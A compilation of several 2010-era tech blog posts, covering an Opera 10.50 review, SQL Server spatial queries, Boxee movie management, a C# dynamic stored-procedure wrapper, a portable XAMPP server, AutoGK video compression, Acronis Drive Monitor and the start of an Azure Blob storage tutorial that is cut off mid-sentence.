adjust the zooming level. For our default setup here the “Sidebar Panels” available were: “Bookmarks, Widgets, Unite, Notes, Downloads, History, & Panels”. Additional panels such as “Links, Windows, Search, Info, etc.” are available if you want and/or need them (accessible using the “Panels Plus Sign Button”). The “Opera Link Button” makes it easy for you to synchronize your “Speed Dial, Bookmarks, Personal Bar, Custom Searches, History & Notes”. Note: “Opera Link” requires an account and can be signed up for using the link provided below. Want to share files with your family and friends? “Unite” allows you to do that and more. With “Unite” you can: “Stream Music, Show Photo Galleries, Share Files and/or Folders, & host webpages directly from your browser”. We have a more in-depth look at “Unite” in our article here. Note: Use of “Unite” requires an Opera account. Got a slow internet connection? “Opera Turbo” can help with that by running the web traffic through their “compression servers” to speed up your web browsing. Keep in mind that “Opera Turbo” will not engage if you are accessing a secure website (i.e. your bank’s website) thus preserving your security. Note: “Opera Turbo” can be set up to automatically detect slow internet connections (i.e. crowded Wi-Fi in a cafe). Opera has a built-in “Private Browsing Mode” now for those who prefer anonymous browsing and want to keep the “history records clean” on their computer. To access it go to “Tabs and windows” and select “New private tab” or “New private window” as desired. When you open your new “Private Tab or Window” you will see the following message with details on how Opera will handle browsing information and a large “door hanger symbol”. Notice that the one tab is locked into “Private Browsing Mode” while the others are still working in “Regular Browsing Mode”. Very nice! A miniature version of the “door hanger symbol” will be present on any tab that is locked into “Private Browsing Mode”. If you are using Windows 7 then you will love how things look from your “Taskbar”. Here you can see four very nice looking thumbnails for the tabs that we had open. All that you have to do is click on the desired thumbnail… The “Context Menu” looks just as lovely as the thumbnails and definitely has some terrific functionality built into it. Add Enhanced Aero Capability If you love “Aero” and want more for your new Opera install then we have the perfect theme for you. The theme’s name is Z1-AV69 and once you have downloaded it you will need to place it in the “Skins Subfolder” in Opera’s “Program Files Folder”. Note: For our example we used version 1.10 but version 2.00 is now available (link provided below). Once you have restarted Opera, go to the “O Menu” and select “Appearance”. When the “Appearance Window” opens click on “Z1-Glass Skin” and then click “OK”. All of a sudden you will have more “Aero Goodness” to enjoy. Compare this screenshot with the one at the top of this article…the only part that is not transparent now is the browser window area itself. Want even more “Aero Goodness”? Right click on the “Tab Bar” and set “Tab Bar Placement” to “Left”. Note: You can achieve the same effect by setting the “Tab Bar Placement” to “Right”. With the “Speed Dial” visible you will be able to see your wallpaper with ease. While this is obviously not for everyone it does make for a great visual trick. Portable Versions Perhaps you need this wonderful new version of Opera to go with you wherever you do during the day. Not a problem…just visit the Opera USB website to choose a version that works best for you. You can select from “Zip or Exe” setup files and if needed update an older portable version using a “Zipped Update Files Package”. If you are updating an older version keep in mind that you will need to delete the old “OperaUSB.exe. File” due to changes with the new setup files. During our tests updating older portable versions went well for the most part but we did experience a few “odd UI quirks” here and there…so we recommend setting up a clean install if possible. Conclusion The new 10.50 release is a pleasure to use and is a recommended install for your system. Whether you are considering trying Opera for the first time or have been using it for a bit we think that you will pleased with everything that the 10.50 release has to offer. For those who would like to add User Scripts to Opera be certain to look at our how-to article here. Links Download Opera 10.50 for your location (Windows) Get the latest Snapshot versions for Linux & Mac Sign up for an Opera Link account View In-Depth detail on Opera 10.50’s features Download the Z1-AV69 Aero Theme Download Portable Opera 10.50 Similar Articles Productive Geek Tips Set the Speed Dial as the Opera Startup PageSet Up User Scripts in Opera BrowserScan Files for Viruses Before You Download With Dr.WebTurn Your Computer into a File, Music, and Web Server with Opera UniteSet the Default Browser on Ubuntu From the Command Line TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 PCmover Professional Make your Joomla & Drupal Sites Mobile with OSMOBI Integrate Twitter and Delicious and Make Life Easier Design Your Web Pages Using the Golden Ratio Worldwide Growth of the Internet How to Find Your Mac Address Use My TextTools to Edit and Organize Text

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• SQL SERVER – Spatial Database Queries – What About BLOB – T-SQL Tuesday #006

  - by pinaldave

  Michael Coles is one of the most interesting book authors I have ever met. He has a flair of writing complex stuff in a simple language. There are a very few people like that.  I really enjoyed reading his recent book, Expert SQL Server 2008 Encryption. I strongly suggest taking a look at it. This blog is written in response to T-SQL Tuesday #006: “What About BLOB? by Michael Coles. Spatial Database is my favorite subject. Since I did my TechEd India 2010 presentation, I have enjoyed this subject a lot. Before I continue this blog post, there are a few other blog posts, so I suggest you read them.  To help build the environment run the queries, I am going to present them in this single blog post. SQL SERVER – What is Spatial Database? – Developing with SQL Server Spatial and Deep Dive into Spatial Indexing This blog post explains the basics of Spatial Database and also provides a good introduction to Indexing concept. SQL SERVER – World Shapefile Download and Upload to Database – Spatial Database This blog post will enable you with how to load the shape file into database. SQL SERVER – Spatial Database Definition and Research Documents This blog post links to the white paper about Spatial Database written by Microsoft experts. SQL SERVER – Introduction to Spatial Coordinate Systems: Flat Maps for a Round Planet This blog post links to the white paper explaining coordinate system, as written by Microsoft experts. After reading the above listed blog posts, I am very confident that you are ready to run the following script. Once you create a database using the World Shapefile, as mentioned in the second link above,you can display the image of India just like the following. Please note that this is not an accurate political map. The boundary of this map has many errors and it is just a representation. You can run the following query to generate the map of India from the database spatial which you have created after following the instructions here. USE Spatial GO -- India Map SELECT [CountryName] ,[BorderAsGeometry] ,[Border] FROM [Spatial].[dbo].[Countries] WHERE Countryname = 'India' GO Now, let us find the longitude and latitude of the two major IT cities of India, Hyderabad and Bangalore. I find their values as the following: the values of longitude-latitude for Bangalore is 77.5833300000 13.0000000000; for Hyderabad, longitude-latitude is 78.4675900000 17.4531200000. Now, let us try to put these values on the India Map and see their location. -- Bangalore DECLARE @GeoLocation GEOGRAPHY SET @GeoLocation = GEOGRAPHY::STPointFromText('POINT(77.5833300000 13.0000000000)',4326).STBuffer(20000); -- Hyderabad DECLARE @GeoLocation1 GEOGRAPHY SET @GeoLocation1 = GEOGRAPHY::STPointFromText('POINT(78.4675900000 17.4531200000)',4326).STBuffer(20000); -- Bangalore and Hyderabad on Map of India SELECT name, [GeoLocation] FROM [IndiaGeoNames] I WHERE I.[GeoLocation].STDistance(@GeoLocation) <= 0 UNION ALL SELECT name, [GeoLocation] FROM [IndiaGeoNames] I WHERE I.[GeoLocation].STDistance(@GeoLocation1) <= 0 UNION ALL SELECT '',[Border] FROM [Spatial].[dbo].[Countries] WHERE Countryname = 'India' GO Now let us quickly draw a straight line between them. DECLARE @GeoLocation GEOGRAPHY SET @GeoLocation = GEOGRAPHY::STPointFromText('POINT(78.4675900000 17.4531200000)',4326).STBuffer(10000); DECLARE @GeoLocation1 GEOGRAPHY SET @GeoLocation1 = GEOGRAPHY::STPointFromText('POINT(77.5833300000 13.0000000000)',4326).STBuffer(10000); DECLARE @GeoLocation2 GEOGRAPHY SET @GeoLocation2 = GEOGRAPHY::STGeomFromText('LINESTRING(78.4675900000 17.4531200000, 77.5833300000 13.0000000000)',4326) SELECT name, [GeoLocation] FROM [IndiaGeoNames] I WHERE I.[GeoLocation].STDistance(@GeoLocation) <= 0 UNION ALL SELECT name, [GeoLocation] FROM [IndiaGeoNames] I1 WHERE I1.[GeoLocation].STDistance(@GeoLocation1) <= 0 UNION ALL SELECT '' name, @GeoLocation2 UNION ALL SELECT '',[Border] FROM [Spatial].[dbo].[Countries] WHERE Countryname = 'India' GO Let us use the distance function of the spatial database and find the straight line distance between this two cities. -- Distance Between Hyderabad and Bangalore DECLARE @GeoLocation GEOGRAPHY SET @GeoLocation = GEOGRAPHY::STPointFromText('POINT(78.4675900000 17.4531200000)',4326) DECLARE @GeoLocation1 GEOGRAPHY SET @GeoLocation1 = GEOGRAPHY::STPointFromText('POINT(77.5833300000 13.0000000000)',4326) SELECT @GeoLocation.STDistance(@GeoLocation1)/1000 'KM'; GO The result of above query is as displayed in following image. As per SQL Server, the distance between these two cities is 501 KM, but according to what I know, the distance between those two cities is around 562 KM by road. However, please note that roads are not straight and they have lots of turns, whereas this is a straight-line distance. What would be more accurate is the distance between these two cities by air travel. When we look at the air travel distance between Bangalore and Hyderabad, the total distance covered is 495 KM, which is very close to what SQL Server has estimated, which is 501 KM. Bravo! SQL Server has accurately provided the distance between two of the cities. SQL Server Spatial Database can be very useful simply because it is very easy to use, as demonstrated above. I appreciate your comments, so let me know what your thoughts and opinions about this are. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology Tagged: Spatial Database

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• How to Manage Your Movies in Boxee

  - by DigitalGeekery

  Boxee is a free cross platform HTPC application that plays media locally and via the Internet. Today we’ll take a look at how to manage your local movie collection in Boxee. Note: We are using the most recent version of Boxee running on Windows 7. Your experience on an earlier version or a Mac or Linux build may vary slightly. If you are using an earlier version of Boxee, we recommend you update to the current version (0.9.21.11487). The latest update features significant improvements in file and media identification. Naming your Movie Files Proper file naming is important for Boxee to correctly identify your movie files. Before you get started you may want to take some time to name your files properly. Boxee supports the following naming conventions: Lawrence of Arabia.avi Lawrence.of.Arabia.avi Lawrence of Arabia (1962).avi Lawrence.of.Arabia(1962).avi For multi-part movies, you can use .part or .cd to identify first and second parts of the movie. Gettysburg.part1.avi Gettysburg.part2.avi If you are unsure of the correct title of the movie, check with IMDB.com. Supported File Types Boxee supports the following video file types and codecs: AVI, MPEG, WMV, ASF, FLV, MKV, MOV, MP4, M4A, AAC, NUT, Ogg, OGM, RealMedia RAM/RM/RV/RA/RMVB, 3gp, VIVO, PVA, NUV, NSV, NSA, FLI, FLC, and DVR-MS (beta support) CDs, DVDs, VCD/SVCD MPEG-1, MPEG-2, MPEG-4 (SP and ASP, including DivX, XviD, 3ivx, DV, H.263), MPEG-4 AVC (aka H.264), HuffYUV, Indeo, MJPEG, RealVideo, QuickTime, Sorenson, WMV, Cinepak Adding Movie Files to Boxee Boxee will automatically scan your default media folders and add any movie files to My Movies. Boxee will attempt to identify the media and check sources on the web to get data like cover art and other metadata. You can add as many sources to Boxee as you like from your local hard drive, external hard drives or from your network. You will need to make sure you have access to shared folders on the networked computer hosting the media you want to share. You can browse for other folders to scan by selecting Scan Media Folders.   You can also add media files by selecting Settings from the Home screen… Then select Media… and then selecting Add Sources. Browse for your directory and select Add source. Next, you’ll need to select the media type and the type of scanning. You can also change the share name if you’d like. When finished, select Add. You should see a quick notification at the top of the screen that the source was added.   Select Scan source to have Boxee to begin scanning your media files and attempt to properly identify them. Your movies may not show up instantly in My Movies. It will take Boxee some time to fully scan your sources, especially if you have a large collection. Eventually you should see My Movies begin to populate with cover art and metadata.   You can see the progress and find unidentified files by clicking on the yellow arrow to the left, or navigating to the left with your keyboard or remote and selecting Manage Sources.   Here you can see how many files (if any) Boxee failed to identify. To see which titles are unresolved, select Unidentified Files.   Here you’ll find your unresolved files. Select one of the unidentified files to search for the proper movie information. Next, select the Indentify Video icon. Boxee will fill in the title of the file or you edit the title yourself in the text box. Click Search. The results of your search will be displayed. Scroll through and select the title that fits your movie. Check the details of the film to make sure you have the correct title and select Done.   Fixing Incorrectly Indentified Files If you find a movie has been incorrectly identified you can correct it manually. Select the movie. Then search for the correct movie title from the list and select it. When you’re sure you found the correct movie, click Done. Filtering your Movies You can filter your movie collection by genre, or by whether it has been marked as watched or unwatched. When you’ve finished watching a movie, Boxee will mark it as watched.   You can also manually mark a title as watched.   Boxee also features a wide variety of genres by which you can filter the titles in your library. Playing your Movie When you’re ready to start watching a movie, simply select your title.   From here, you can select the “i” icon to read more information about the movie, add it to your queue, or add a shortcut. Click Local File to begin playing.   Now you’re ready to enjoy your movie. If you don’t have a large movie collection or just need more selection, you may want to check out the Netflix App for Boxee. Looking for a Boxee remote? Check out the iPhone App for Boxee. Links Download Boxee IMDB.com Similar Articles Productive Geek Tips Watch Netflix Instant Movies in BoxeeIntegrate Boxee with Media Center in Windows 7Customize the Background in BoxeeUse your iPhone or iPod Touch as a Boxee RemoteGetting Started with Boxee TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips HippoRemote Pro 2.2 Xobni Plus for Outlook All My Movies 5.9 CloudBerry Online Backup 1.5 for Windows Home Server What is HTML5? Default Programs Editor – One great tool for Setting Defaults Convert BMP, TIFF, PCX to Vector files with RasterVect Free Identify Fonts using WhatFontis.com Windows 7’s WordPad is Actually Good Greate Image Viewing and Management with Zoner Photo Studio Free

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• Using C# 4.0’s DynamicObject as a Stored Procedure Wrapper

  - by EltonStoneman

  [Source: http://geekswithblogs.net/EltonStoneman] Overview Ignoring the fashion, I still make a lot of use of DALs – typically when inheriting a codebase with an established database schema which is full of tried and trusted stored procedures. In the DAL a collection of base classes have all the scaffolding, so the usual pattern is to create a wrapper class for each stored procedure, giving typesafe access to parameter values and output. DAL calls then looks like instantiate wrapper-populate parameters-execute call:       using (var sp = new uspGetManagerEmployees())     {         sp.ManagerID = 16;         using (var reader = sp.Execute())         {             //map entities from the output         }     }   Or rolling it all into a fluent DAL call – which is nicer to read and implicitly disposes the resources:   This is fine, the wrapper classes are very simple to handwrite or generate. But as the codebase grows, you end up with a proliferation of very small wrapper classes: The wrappers don't add much other than encapsulating the stored procedure call and giving you typesafety for the parameters. With the dynamic extension in .NET 4.0 you have the option to build a single wrapper class, and get rid of the one-to-one stored procedure to wrapper class mapping. In the dynamic version, the call looks like this:       dynamic getUser = new DynamicSqlStoredProcedure("uspGetManagerEmployees", Database.AdventureWorks);     getUser.ManagerID = 16;       var employees = Fluently.Load<List<Employee>>()                             .With<EmployeeMap>()                             .From(getUser);   The important difference is that the ManagerId property doesn't exist in the DynamicSqlStoredProcedure class. Declaring the getUser object with the dynamic keyword allows you to dynamically add properties, and the DynamicSqlStoredProcedure class intercepts when properties are added and builds them as stored procedure parameters. When getUser.ManagerId = 16 is executed, the base class adds a parameter call (using the convention that parameter name is the property name prefixed by "@"), specifying the correct SQL Server data type (mapping it from the type of the value the property is set to), and setting the parameter value. Code Sample This is worked through in a sample project on github – Dynamic Stored Procedure Sample – which also includes a static version of the wrapper for comparison. (I'll upload this to the MSDN Code Gallery once my account has been resurrected). Points worth noting are: DynamicSP.Data – database-independent DAL that has all the data plumbing code. DynamicSP.Data.SqlServer – SQL Server DAL, thin layer on top of the generic DAL which adds SQL Server specific classes. Includes the DynamicSqlStoredProcedure base class. DynamicSqlStoredProcedure.TrySetMember. Invoked when a dynamic member is added. Assumes the property is a parameter named after the SP parameter name and infers the SqlDbType from the framework type. Adds a parameter to the internal stored procedure wrapper and sets its value. uspGetManagerEmployees – the static version of the wrapper. uspGetManagerEmployeesTest – test fixture which shows usage of the static and dynamic stored procedure wrappers. The sample uses stored procedures from the AdventureWorks database in the SQL Server 2008 Sample Databases. Discussion For this scenario, the dynamic option is very favourable. Assuming your DAL is itself wrapped by a higher layer, the stored procedure wrapper classes have very little reuse. Even if you're codegening the classes and test fixtures, it's still additional effort for very little value. The main consideration with dynamic classes is that the compiler ignores all the members you use, and evaluation only happens at runtime. In this case where scope is strictly limited that's not an issue – but you're relying on automated tests rather than the compiler to find errors, but that should just encourage better test coverage. Also you can codegen the dynamic calls at a higher level. Performance may be a consideration, as there is a first-time-use overhead when the dynamic members of an object are bound. For a single run, the dynamic wrapper took 0.2 seconds longer than the static wrapper. The framework does a good job of caching the effort though, so for 1,000 calls the dynamc version still only takes 0.2 seconds longer than the static: You don't get IntelliSense on dynamic objects, even for the declared members of the base class, and if you've been using class names as keys for configuration settings, you'll lose that option if you move to dynamics. The approach may make code more difficult to read, as you can't navigate through dynamic members, but you do still get full debugging support.     var employees = Fluently.Load<List<Employee>>()                             .With<EmployeeMap>()                             .From<uspGetManagerEmployees>                             (                                 i => i.ManagerID = 16,                                 x => x.Execute()                             );

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• Turn A Flash Drive Into a Portable Web Server

  - by Matthew Guay

  Portable applications are very useful for getting work done on the go, but how about portable servers?  Here’s how you can turn your flash drive into a portable web server. Getting Started To put a full web server on our flash drive, we’re going to use XAMPP Lite.  This lightweight, preconfigured server includes recent versions of Apache, MySQL, and PHP so you can run most websites and webapps directly from it.  You could use the full XAMPP, which includes more features such as a FileZilla FTP server and OpenSSL, but for most purposes, the light version is plenty for a portable server. Download the latest version of XAMPP Lite (link below).  In this tutorial, we used the self-extracting EXE version; you could choose the ZIP file and extract the files yourself, but we found it easier to use the executable. Run the installer, and click Browse choose where to install your server. Select your flash drive, or a folder in it, and click Ok.  Make sure your flash drive has at least 250MB of available storage space.  XAMPP will create an xampplite folder and store all the files in it during the installation.   Click Install, and all of the files will be extracted to your flash drive.  This may take a few moments depending on your flash drive’s speed. When the extraction process is finished, a Command Prompt window will open to finish the installation.  The first prompt will ask if you want to add shortcuts to the start menu and desktop; enter “n” since we don’t want to create start menu links to our portable server. Now enter “y” to configure XAMPP’s directories automatically. Finally, enter “y” to make XAMPP fully portable.  It will set up the servers to run without specific drive letters so your server will run from any computer. XAMPP will finalize your changes; press Enter when everything is completed. Setup will automatically launch the command line version of XAMPP.  On first run, confirm that your time zone is correct. And that’s it!  You can now run XAMPP’s control panel by entering 1, or you can exit and run XAMPP from any other computer with your flash drive. To complete your portable webserver kit, you may want to install Portable Firefox or Iron Browser on your flash drive so you always have your favorite browser ready to use. Running your portable server Using your portable server is very simple.  Open the xampplite folder on your flash drive and launch xampp-control.exe. Click Start beside Apache and MySql to get your webserver running. Please note: Do not check the Svc box, as this will run the server as a Windows service.  To keep XAMPP portable, you do not want it running as a service! Windows Firewall may prompt you that it blocked the server; click Allow access to let your server run. Once they’re running, you can click Admin to open the default XAMPP admin page running from your local webserver.  Or, you can view it by browsing to http://localhost/ or http://127.0.0.1/ in your browser. If everything is working correctly, you should see this page in your browser.  Choose your default language… And then you’ll see the default XAMPP admin page.   Click the Status link on the left sidebar to make sure everything is running correctly. If you click the Admin button for MySql in the XAMPP Control Panel, it will open phpMyAdmin in your default browser.  Alternately, you can open the MySql admin page by entering http://localhost/phpmyadmin/ or http://127.0.0.1/phpmyadmin/ in your favorite browser. Now you can add your own webpages to your webserver.  Save all of your web files in the \xampplight\htdocs\ folder on your flash drive. Install WordPress in your portable server Since XAMPP Lite includes MySql and PHP, you can even run webapps such as WordPress, the popular CMS and blogging platform.  Download WordPress (link below), and extract the files to the \xampplite\htdocs folder on your flash drive. Now all of the WordPress files are stored in \xampplite\htdocs\wordpress on your flash drive. We still need to setup WordPress on our portable server.  Open your MySql admin page http://localhost/phpmyadmin/ to create a new database for WordPress.  Enter a name for your database in the “Create new database” box, and click Create. Click the Privileges tab on the top, and the select “Add a new User”.   Enter a username and password for the database, and then click the Go button on the bottom of the page. Using WordPress Now, in your browser, enter http://localhost/wordpress/wp-admin/install.php.  Click Create a Configuration File to continue. Make sure you have your Database name, username, and password we created previously, and click “Let’s Go!” Enter your WordPress database name, username, and password, leave the other two entries as default, and click Submit. You should now have the database all ready to go.  Click “Run the install” to finish installing WordPress. Enter a title, username, and password for your test blog, as well as your email address, and then click “Install WordPress”. You now have a portable install of WordPress.  Click “Log In” to  access your WordPress admin page. Enter your username and password, and click Log In. Here you can add pages, posts, themes, extensions, and anything else just like you would on a normal WordPress site.  This is a great way to experiment with WordPress without messing up your real website. You can view your portable WordPress site by entering http://localhost/wordpress/ in your address bar. Closing your server When you’re done running your test server, click the Stop button on each of the services and then click the Exit button in the XAMPP control panel.  If you press the exit button on the top of the window, it will just minimize the control panel to the tray.   Alternately, you can shutdown your server by running xampp_stop.exe from your xampplite folder. Conclusion XAMPP Lite gives you a great way to run a full webserver directly from your flash drive.  Now, anywhere you go, you can test and tweak your webpages and webapps from any Windows computer.  Links Download XAMPP Lite Download WordPress Similar Articles Productive Geek Tips BitLocker To Go Encrypts Portable Flash Drives in Windows 7How To Use BitLocker on Drives without TPMSpeed up Your Windows Vista Computer with ReadyBoostView and Manage Flash Cookies the Easy WayInstall and Run Applications from Your iPod, Flash Drive or Mp3 Player TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 OutlookStatView Scans and Displays General Usage Statistics How to Add Exceptions to the Windows Firewall Office 2010 reviewed in depth by Ed Bott FoxClocks adds World Times in your Statusbar (Firefox) Have Fun Editing Photo Editing with Citrify Outlook Connector Upgrade Error

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• Compress Large Video Files with DivX / Xvid and AutoGK

  - by DigitalGeekery

  Have you ever recorded home video on a camcorder only to find the video size is enormous? What if you wanted to share a video clip on YouTube or another video sharing site, but the file size was bigger than the maximum upload size? Today we’ll look at a way to compress certain video files, such as MPEG and AVI, with Auto Gordian Knot (AutoGK). AutoGK is a free application that runs on Windows. It supports Mpeg1, Mpeg2, Transport Streams, Vobs, and virtually any codec used for an .AVI file. AutoGK will accept as input the following file types: MPG, MPEG, VOB, VRO, M2V, DAT, IFO, TS, TP, TRP, M2T, and AVI. Files are output as .AVI files and are converted using the DivX or XviD codecs. Installing and Using AutoGK Download and install AutoGK (link below) Open the AutoGK. You’ll need to navigate a few wizard screens, but you can just accept the defaults.   Choose your video file by clicking on the folder to the right of the Input file text box.   Browse for and select your video file and click “Open.”   For this example, we’ll be working with an .AVI file that’s 167MB in size.   The output file is copied into the same directory as the input file by default, but you can change this if you choose. If the input file is also .AVI, AutoGK will append an _agk to the output file so that the original is not overwritten. Next, you’ll see any audio tracks listed. You can unselect the check box if you’d like to remove the audio track. You can choose one of the Predefined size options… Or, select a Custom size in MB or Target Quality in percentage. For our example, we’ll be compressing our 167MB file to 35MB. Click on Advanced Settings. Here you can choose your codec, if you have a preference, as well as output resolution and output audio. If you’d like to use the DivX codec, you’ll need to download and install it separately. (See link below) Typically you’ll want to keep the defaults. Click “OK.” Now you’re ready to add your file conversion job to the Job queue. Click Add Job to add it to the queue. You can add multiple files conversions to the job queue and  convert them in one batch. Click Start to begin the conversion process. The process will begin. You’ll be able to see the progress in the Log window on the bottom left. When the conversion is complete you’ll see a “Job finished” and the total time in the log window.   Check your output file to see it’s compressed size. Test your video just to make sure the output quality is satisfactory.   Note:  Conversion times can vary greatly depending on the size of the file and your computer hardware. Files that are several GBs in size may take several hours to compress. AutoGK is no longer being actively developed but is still a wonderful DivX/XviD conversion tool. It can also be used to compress and convert non-copy protected DVDs. Downloads AutoGordianKnot DivX (optional) Similar Articles Productive Geek Tips Use Your Mac Mini as a Media Server Part 2Make Disk Cleanup Compress Older(or Newer) Files on XPMysticgeek Blog: Exclusive Look Inside Vreel – Including Interview With Vreel Founder!Friday Fun: Watch HD Video Content with MeevidConvert a DVD Movie Directly to AVI with FairUse Wizard 2.9 TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 Penolo Lets You Share Sketches On Twitter Visit Woolyss.com for Old School Games, Music and Videos Add a Custom Title in IE using Spybot or Spyware Blaster When You Need to Hail a Taxi in NYC Live Map of Marine Traffic NoSquint Remembers Site Specific Zoom Levels (Firefox)

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• Monitor your Hard Drive’s Health with Acronis Drive Monitor

  - by Matthew Guay

  Are you worried that your computer’s hard drive could die without any warning?  Here’s how you can keep tabs on it and get the first warning signs of potential problems before you actually lose your critical data. Hard drive failures are one of the most common ways people lose important data from their computers.  As more of our memories and important documents are stored digitally, a hard drive failure can mean the loss of years of work.  Acronis Drive Monitor helps you avert these disasters by warning you at the first signs your hard drive may be having trouble.  It monitors many indicators, including heat, read/write errors, total lifespan, and more. It then notifies you via a taskbar popup or email that problems have been detected.  This early warning lets you know ahead of time that you may need to purchase a new hard drive and migrate your data before it’s too late. Getting Started Head over to the Acronis site to download Drive Monitor (link below).  You’ll need to enter your name and email, and then you can download this free tool. Also, note that the download page may ask if you want to include a trial of their for-pay backup program.  If you wish to simply install the Drive Monitor utility, click Continue without adding. Run the installer when the download is finished.  Follow the prompts and install as normal. Once it’s installed, you can quickly get an overview of your hard drives’ health.  Note that it shows 3 categories: Disk problems, Acronis backup, and Critical Events.  On our computer, we had Seagate DiskWizard, an image backup utility based on Acronis Backup, installed, and Acronis detected it. Drive Monitor stays running in your tray even when the application window is closed.  It will keep monitoring your hard drives, and will alert you if there’s a problem. Find Detailed Information About Your Hard Drives Acronis’ simple interface lets you quickly see an overview of how the drives on your computer are performing.  If you’d like more information, click the link under the description.  Here we see that one of our drives have overheated, so click Show disks to get more information. Now you can select each of your drives and see more information about them.  From the Disk overview tab that opens by default, we see that our drive is being monitored, has been running for a total of 368 days, and that it’s health is good.  However, it is running at 113F, which is over the recommended max of 107F.   The S.M.A.R.T. parameters tab gives us more detailed information about our drive.  Most users wouldn’t know what an accepted value would be, so it also shows the status.  If the value is within the accepted parameters, it will report OK; otherwise, it will show that has a problem in this area. One very interesting piece of information we can see is the total number of Power-On Hours, Start/Stop Count, and Power Cycle Count.  These could be useful indicators to check if you’re considering purchasing a second hand computer.  Simply load this program, and you’ll get a better view of how long it’s been in use. Finally, the Events tab shows each time the program gave a warning.  We can see that our drive, which had been acting flaky already, is routinely overheating even when our other hard drive was running in normal temperature ranges. Monitor Acronis Backups And Critical Errors In addition to monitoring critical stats of your hard drives, Acronis Drive Monitor also keeps up with the status of your backup software and critical events reported by Windows.  You can access these from the front page, or via the links on the left hand sidebar.  If you have any edition of any Acronis Backup product installed, it will show that it was detected.  Note that it can only monitor the backup status of the newest versions of Acronis Backup and True Image. If no Acronis backup software was installed, it will show a warning that the drive may be unprotected and will give you a link to download Acronis backup software.   If you have another backup utility installed that you wish to monitor yourself, click Configure backup monitoring, and then disable monitoring on the drives you’re monitoring yourself. Finally, you can view any detected Critical events from the Critical events tab on the left. Get Emailed When There’s a Problem One of Drive Monitor’s best features is the ability to send you an email whenever there’s a problem.  Since this program can run on any version of Windows, including the Server and Home Server editions, you can use this feature to stay on top of your hard drives’ health even when you’re not nearby.  To set this up, click Options in the top left corner. Select Alerts on the left, and then click the Change settings link to setup your email account. Enter the email address which you wish to receive alerts, and a name for the program.  Then, enter the outgoing mail server settings for your email.  If you have a Gmail account, enter the following information: Outgoing mail server (SMTP): smtp.gmail.com Port: 587 Username and Password: Your gmail address and password Check the Use encryption box, and then select TLS from the encryption options.   It will now send a test message to your email account, so check and make sure it sent ok. Now you can choose to have the program automatically email you when warnings and critical alerts appear, and also to have it send regular disk status reports.   Conclusion Whether you’ve got a brand new hard drive or one that’s seen better days, knowing the real health of your it is one of the best ways to be prepared before disaster strikes.  It’s no substitute for regular backups, but can help you avert problems.  Acronis Drive Monitor is a nice tool for this, and although we wish it wasn’t so centered around their backup offerings, we still found it a nice tool. Link Download Acronis Drive Monitor (registration required) Similar Articles Productive Geek Tips Quick Tip: Change Monitor Timeout From Command LineAnalyze and Manage Hard Drive Space with WinDirStatMonitor CPU, Memory, and Disk IO In Windows 7 with Taskbar MetersDefrag Multiple Hard Drives At Once In WindowsFind Your Missing USB Drive on Windows XP TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips HippoRemote Pro 2.2 Xobni Plus for Outlook All My Movies 5.9 CloudBerry Online Backup 1.5 for Windows Home Server Windows 7’s WordPad is Actually Good Greate Image Viewing and Management with Zoner Photo Studio Free Windows Media Player Plus! – Cool WMP Enhancer Get Your Team’s World Cup Schedule In Google Calendar Backup Drivers With Driver Magician TubeSort: YouTube Playlist Organizer

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• Azure &ndash; Part 6 &ndash; Blob Storage Service

  - by Shaun

  When migrate your application onto the Azure one of the biggest concern would be the external files. In the original way we understood and ensure which machine and folder our application (website or web service) is located in. So that we can use the MapPath or some other methods to read and write the external files for example the images, text files or the xml files, etc. But things have been changed when we deploy them on Azure. Azure is not a server, or a single machine, it’s a set of virtual server machine running under the Azure OS. And even worse, your application might be moved between thses machines. So it’s impossible to read or write the external files on Azure. In order to resolve this issue the Windows Azure provides another storage serviec – Blob, for us. Different to the table service, the blob serivce is to be used to store text and binary data rather than the structured data. It provides two types of blobs: Block Blobs and Page Blobs. Block Blobs are optimized for streaming. They are comprised of blocks, each of which is identified by a block ID and each block can be a maximum of 4 MB in size. Page Blobs are are optimized for random read/write operations and provide the ability to write to a range of bytes in a blob. They are a collection of pages. The maximum size for a page blob is 1 TB.   In the managed library the Azure SDK allows us to communicate with the blobs through these classes CloudBlobClient, CloudBlobContainer, CloudBlockBlob and the CloudPageBlob. Similar with the table service managed library, the CloudBlobClient allows us to reach the blob service by passing our storage account information and also responsible for creating the blob container is not exist. Then from the CloudBlobContainer we can save or load the block blobs and page blobs into the CloudBlockBlob and the CloudPageBlob classes.   Let’s improve our exmaple in the previous posts – add a service method allows the user to upload the logo image. In the server side I created a method name UploadLogo with 2 parameters: email and image. Then I created the storage account from the config file. I also add the validation to ensure that the email passed in is valid. 1: var storageAccount = CloudStorageAccount.FromConfigurationSetting("DataConnectionString"); 2: var accountContext = new DynamicDataContext<Account>(storageAccount); 3:  4: // validation 5: var accountNumber = accountContext.Load() 6: .Where(a => a.Email == email) 7: .ToList() 8: .Count; 9: if (accountNumber <= 0) 10: { 11: throw new ApplicationException(string.Format("Cannot find the account with the email {0}.", email)); 12: } Then 